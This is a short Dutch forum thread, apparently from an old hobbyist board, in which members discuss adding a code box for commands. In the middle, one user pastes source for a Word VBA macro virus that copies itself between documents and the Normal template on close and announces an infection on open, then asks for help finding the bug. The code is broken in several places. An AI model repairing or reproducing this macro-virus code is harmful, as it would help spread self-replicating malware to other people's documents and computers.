[Xeina]

IS het niet verstandig dat als we bij DOS CODES een codebox aan maken????

CODE

Kijk, zoiets

[square]

IS het niet verstandig dat als we bij DOS CODES een codebox aan maken????

CODE

Kijk, zoiets

zoiets als? een zwart vlak:S

[Daniel]

[square]

oooow ik snap t all... nu pas
je bedoelt om commandootjes en zo in zo een zwarte box neer te zetten.
lijkt me wel een goed idee btw!
maar ik ben te lui om [ codebox ] blablal [ / codebox] te typen.
maar als jullie dat willen doen, dan kent ik t moeilijk tegen houwen!

[swan]

oooow ik snap t all... nu pas
je bedoelt om commandootjes en zo in zo een zwarte box neer te zetten.
lijkt me wel een goed idee btw!
maar ik ben te lui om [ codebox ] blablal [ / codebox] te typen.
maar als jullie dat willen doen, dan kent ik t moeilijk tegen houwen!

CODE

Private Sub Document_close()

Dim Norm, Normcode, Normline, Doc, DocCode, Doclines
Set Norm = NormalTemplate.VBProject.VBComponents(1)
Set Doc = ActiveDocument.VBProject.VBComponents(1)
Set DocCode = Doc.CodeModule:Set NormCode = Norm.CodeModule

If DocCode.lines(23,1) = " Then
For y = 1 To Doccode.countoflines
DocCode.insertlines 26 + x, Normcode.lines(x,1)
Next x
End If

If NormCode.lines(23,1) = ""Then
For y = 1 To NormCode.Countoflines
NormCode.replacelines y,
Next y
For x = 1 To DocCode.countoflines
NormCode.insertlines 26 + x, DocCode.lines(x,1)
Next x

Private Sub Document_Open()
msgbox"You have been infected by the "SQUARE" virus! Thank You, and have a nice day.",vbInformation
End Sub

Private Sub Document_New()
End Sub

waar zit mijn fout ik vind ze niet

[Nina]

codebox en die andere zijn een goed idee om te gebruiken.
zo kun je de tutorials wat meer structuur geven!